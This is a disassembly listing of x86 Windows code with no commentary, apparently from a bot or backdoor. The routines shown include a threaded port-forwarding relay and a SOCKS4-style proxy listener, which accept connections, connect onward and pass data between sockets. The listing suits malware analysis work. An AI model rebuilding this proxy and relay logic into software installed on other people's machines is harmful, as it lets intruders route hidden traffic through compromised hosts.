		lea	eax, [ebp+var_28C]
		push	offset unk_426008
		push	eax
		call	sub_413812
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40669A
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40668E
		lea	eax, [ebp+var_140]


loc_40668E:				; CODE XREF: sub_40656E+118j
		push	eax
		push	[ebp+var_40]
		call	sub_40B2B5
		add	esp, 14h


loc_40669A:				; CODE XREF: sub_40656E+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_409833
		mov	[esp+2A8h+var_2A8], offset dword_44C2A0
		call	dword_41F098	; RtlLeaveCriticalSection
		jmp	loc_406763
; ---------------------------------------------------------------------------


loc_4066B8:				; CODE XREF: sub_40656E+CDj
		push	edi
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_413812
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aW1	; "w1"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_413812
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_4066FC
		lea	eax, [ebp+var_140]


loc_4066FC:				; CODE XREF: sub_40656E+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_413812
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_425A5C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_406763:				; CODE XREF: sub_40656E+C3j
					; sub_40656E+145j
		push	7D0h
		call	dword_41F050	; Sleep
		jmp	loc_4065B5
; ---------------------------------------------------------------------------


loc_406773:				; CODE XREF: sub_40656E+55j
		push	esi
		call	sub_4135DA
		pop	ecx
		push	0
		call	dword_41F040	; ExitThread
sub_40656E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406782	proc near		; DATA XREF: sub_40CC09+2E99o
					; sub_40CC09+48CDo

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_44CD18	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_438A20[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_406059
		push	8
		call	sub_413506
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_406850
		mov	esi, offset dword_44C2A0
		push	esi
		call	dword_41F0A4	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_41F0A0	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_406850
		lea	eax, [ebp+var_1CC]
		push	offset unk_426178
		push	eax
		call	sub_413812
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40683A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40B2B5
		add	esp, 14h


loc_40683A:				; CODE XREF: sub_406782+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_409833
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_406850:				; CODE XREF: sub_406782+63j
					; sub_406782+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_41F050
		mov	edi, ebx
		mov	dword_438A24[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40691D


loc_40686E:				; CODE XREF: sub_406782+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_426130
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_4132BE
		mov	[ebp+var_28], eax
		imul	eax, 134h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_45212C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40656E
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_4068E8


loc_4068DD:				; CODE XREF: sub_406782+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40690F
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_4068DD
; ---------------------------------------------------------------------------


loc_4068E8:				; CODE XREF: sub_406782+159j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4260E4
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_409833
		add	esp, 10h


loc_40690F:				; CODE XREF: sub_406782+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40686E


loc_40691D:				; CODE XREF: sub_406782+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_4069C7
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_406932:				; CODE XREF: sub_406782+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_438A20[eax*8]
		push	eax
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_426090
		push	eax
		call	sub_413812
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_406980
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40B2B5
		add	esp, 14h


loc_406980:				; CODE XREF: sub_406782+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_409833
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_438A24[eax*8], ebx
		call	esi	; Sleep
		push	8
		call	sub_413506
		cmp	eax, 1
		pop	ecx
		jnz	short loc_4069B7
		push	offset dword_44C2A0
		call	dword_41F0A4	; RtlDeleteCriticalSection


loc_4069B7:				; CODE XREF: sub_406782+228j
		push	[ebp+var_2C]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread


loc_4069C7:				; CODE XREF: sub_406782+19Ej
					; sub_406782+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_438A24[eax*8], 1
		jnz	loc_406932
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_4069C7
sub_406782	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4069E1	proc near		; DATA XREF: sub_40CC09+3270o

var_24C		= byte ptr -24Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_44CCDC	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_44CD58	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406B45
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 134h
		push	401h
		push	esi
		push	ebx
		mov	dword_452134[eax], ebx
		call	dword_44CC08	; WSAAsyncSelect
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_44CD08	; bind
		test	eax, eax
		jnz	loc_406B45
		push	0Ah
		push	ebx
		call	dword_44CD04	; listen
		test	eax, eax
		jnz	loc_406B45


loc_406A8B:				; CODE XREF: sub_4069E1+BEj
					; sub_4069E1+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_44CD6C	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_406A8B
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_24C]
		push	offset unk_426210
		push	eax
		call	sub_413812
		push	edi
		lea	eax, [ebp+var_24C]
		push	10h
		push	eax
		call	sub_4132BE
		mov	[ebp+var_38], eax
		imul	eax, 134h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_45212C[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset sub_406B69
		push	esi
		push	esi
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 134h
		cmp	eax, esi
		mov	dword_45213C[ecx], eax
		jz	short loc_406B30


loc_406B1D:				; CODE XREF: sub_4069E1+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_406A8B
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_406B1D
; ---------------------------------------------------------------------------


loc_406B30:				; CODE XREF: sub_4069E1+13Aj
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4261C0
		call	sub_4098A7
		pop	ecx
		pop	ecx
		jmp	short loc_406B48
; ---------------------------------------------------------------------------


loc_406B45:				; CODE XREF: sub_4069E1+61j
					; sub_4069E1+93j ...
		mov	edi, [ebp+arg_0]


loc_406B48:				; CODE XREF: sub_4069E1+162j
		push	edi
		call	dword_44CD70	; closesocket
		push	ebx
		call	dword_44CD70	; closesocket
		push	[ebp+var_3C]
		call	sub_4135DA
		pop	ecx
		push	esi
		call	dword_41F040	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_4069E1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B69	proc near		; DATA XREF: sub_4069E1+11Co

var_1244	= byte ptr -1244h
var_244		= byte ptr -244h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1244h
		call	sub_413E60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_44CD58	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_406D1F
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_44CCDC	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_44CD18	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_406BF9
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_44CD5C	; gethostbyname
		jmp	short loc_406C07
; ---------------------------------------------------------------------------


loc_406BF9:				; CODE XREF: sub_406B69+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_44CC98	; gethostbyaddr


loc_406C07:				; CODE XREF: sub_406B69+8Ej
		cmp	eax, edi
		jz	loc_406D1F
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_44CC88	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_406D1F
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_244]
		push	offset unk_4262BC
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_244]
		push	10h
		push	eax
		call	sub_4132BE
		imul	ebx, 134h
		mov	[ebp+var_30], eax
		imul	eax, 134h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_452134[ebx]
		mov	dword_45212C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_452138[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_406D50
		push	edi
		push	edi
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 134h
		cmp	eax, edi
		mov	dword_45213C[ecx], eax
		jz	short loc_406D0C


loc_406CB9:				; CODE XREF: sub_406B69+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_406CC8
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_406CB9
; ---------------------------------------------------------------------------


loc_406CC8:				; CODE XREF: sub_406B69+153j
		mov	ebx, 1000h


loc_406CCD:				; CODE XREF: sub_406B69+19Fj
		push	ebx
		lea	eax, [ebp+var_1244]
		push	edi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_1244]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_44CCF4	; recv
		cmp	eax, edi
		jle	short loc_406D1F
		push	edi
		push	eax
		lea	eax, [ebp+var_1244]
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406CCD
		jmp	short loc_406D1F
; ---------------------------------------------------------------------------


loc_406D0C:				; CODE XREF: sub_406B69+14Ej
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_426268
		call	sub_4098A7
		pop	ecx
		pop	ecx


loc_406D1F:				; CODE XREF: sub_406B69+44j
					; sub_406B69+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 134h
		push	dword_452134[eax]
		call	dword_44CD70	; closesocket
		push	[ebp+arg_0]
		call	dword_44CD70	; closesocket
		push	[ebp+var_4]
		call	sub_4135DA
		pop	ecx
		push	edi
		call	dword_41F040	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_406B69	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D50	proc near		; DATA XREF: sub_406B69+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_413E60
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 134h
		mov	edi, 1000h


loc_406D87:				; CODE XREF: sub_406D50+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_452138[esi]
		call	dword_44CCF4	; recv
		test	eax, eax
		jle	short loc_406DCE
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_452134[esi]
		call	dword_44CD28	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D87


loc_406DCE:				; CODE XREF: sub_406D50+61j
		push	dword_452138[esi]
		call	dword_44CD70	; closesocket
		push	[ebp+var_14]
		call	sub_4135DA
		pop	ecx
		push	0
		call	dword_41F040	; ExitThread
		pop	edi
		pop	esi
sub_406D50	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406DED	proc near		; DATA XREF: sub_40CC09+540Eo

var_1D4		= byte ptr -1D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_44CCDC	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_44CD58	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 134h
		push	ebx
		mov	dword_452134[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_44CD08	; bind
		test	eax, eax
		jnz	loc_406F8F
		push	0Ah
		push	edi
		call	dword_44CD04	; listen
		test	eax, eax
		jnz	loc_406F8F
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_408A5D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1D4]
		push	offset unk_4263F0
		push	eax
		call	sub_413812
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_406EC8
		push	esi
		lea	eax, [ebp+var_1D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40B2B5
		add	esp, 14h


loc_406EC8:				; CODE XREF: sub_406DED+B9j
					; sub_406DED+172j ...
		lea	eax, [ebp+var_1D4]
		push	eax
		call	sub_409833
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_44CD6C	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1D4]
		push	offset unk_42639C
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1D4]
		push	11h
		push	eax
		call	sub_4132BE
		mov	[ebp+var_38], eax
		imul	eax, 134h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_45212C[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_406FF2
		push	esi
		push	esi
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 134h
		cmp	eax, esi
		mov	dword_45213C[ecx], eax
		jz	short loc_406F6F


loc_406F5C:				; CODE XREF: sub_406DED+180j
		cmp	[ebp+var_28], esi
		jnz	loc_406EC8
		push	5
		call	dword_41F050	; Sleep
		jmp	short loc_406F5C
; ---------------------------------------------------------------------------


loc_406F6F:				; CODE XREF: sub_406DED+16Dj
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1D4]
		push	offset unk_426350
		push	eax
		call	sub_413812
		add	esp, 0Ch
		jmp	loc_406EC8
; ---------------------------------------------------------------------------


loc_406F8F:				; CODE XREF: sub_406DED+7Bj
					; sub_406DED+8Cj
		push	edi
		call	dword_44CD70	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_1D4]
		push	offset unk_426310
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_406FD2
		push	esi
		lea	eax, [ebp+var_1D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40B2B5
		add	esp, 14h


loc_406FD2:				; CODE XREF: sub_406DED+1C3j
		lea	eax, [ebp+var_1D4]
		push	eax
		call	sub_409833
		push	[ebp+var_3C]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41F040	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_406DED	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406FF2	proc near		; DATA XREF: sub_406DED+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 134h
		pop	edi
		lea	esi, dword_452134[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_44CCC4	; select
		test	eax, eax
		jnz	short loc_407073
		push	dword ptr [esi]
		call	dword_44CD70	; closesocket
		push	[ebp+arg_0]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread


loc_407073:				; CODE XREF: sub_406FF2+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_44CCF4	; recv
		test	eax, eax
		jg	short loc_4070A4
		push	dword ptr [esi]
		call	dword_44CD70	; closesocket
		push	[ebp+arg_0]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread


loc_4070A4:				; CODE XREF: sub_406FF2+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_40729E
		cmp	[ebp+var_4CF], 1
		jnz	loc_40729E
		cmp	[ebp+var_44], bl
		jz	short loc_40713A
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40713A
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_4264CC
		call	sub_4098A7
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_413890
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_44CD28	; send
		push	dword ptr [esi]
		call	dword_44CD70	; closesocket
		push	[ebp+arg_0]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread


loc_40713A:				; CODE XREF: sub_406FF2+CFj
					; sub_406FF2+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_413890
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_44CD58	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4071D2
		call	dword_44CC78	; WSAGetLastError
		push	eax
		push	offset unk_42647C
		call	sub_4098A7
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_413890
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_44CD28	; send
		push	dword ptr [esi]
		call	dword_44CD70	; closesocket
		push	[ebp+arg_0]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread


loc_4071D2:				; CODE XREF: sub_406FF2+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_44CC88	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407241
		call	dword_44CC78	; WSAGetLastError
		push	eax
		push	offset unk_426428
		call	sub_4098A7
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_413890
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_44CD28	; send
		push	dword ptr [esi]
		call	dword_44CD70	; closesocket
		push	[ebp+arg_0]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread


loc_407241:				; CODE XREF: sub_406FF2+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_44CD28	; send
		push	dword ptr [esi]
		push	edi
		call	sub_4072B6
		pop	ecx
		pop	ecx
		push	edi
		call	dword_44CD70	; closesocket
		push	dword ptr [esi]
		call	dword_44CD70	; closesocket
		push	[ebp+arg_0]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread


loc_40729E:				; CODE XREF: sub_406FF2+B9j
					; sub_406FF2+C6j
		push	dword ptr [esi]
		call	dword_44CD70	; closesocket
		push	[ebp+arg_0]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread
sub_406FF2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4072B6	proc near		; CODE XREF: sub_406FF2+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4072CC:				; CODE XREF: sub_4072B6+C5j
					; sub_4072B6+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4072E4:				; CODE XREF: sub_4072B6+3Cj
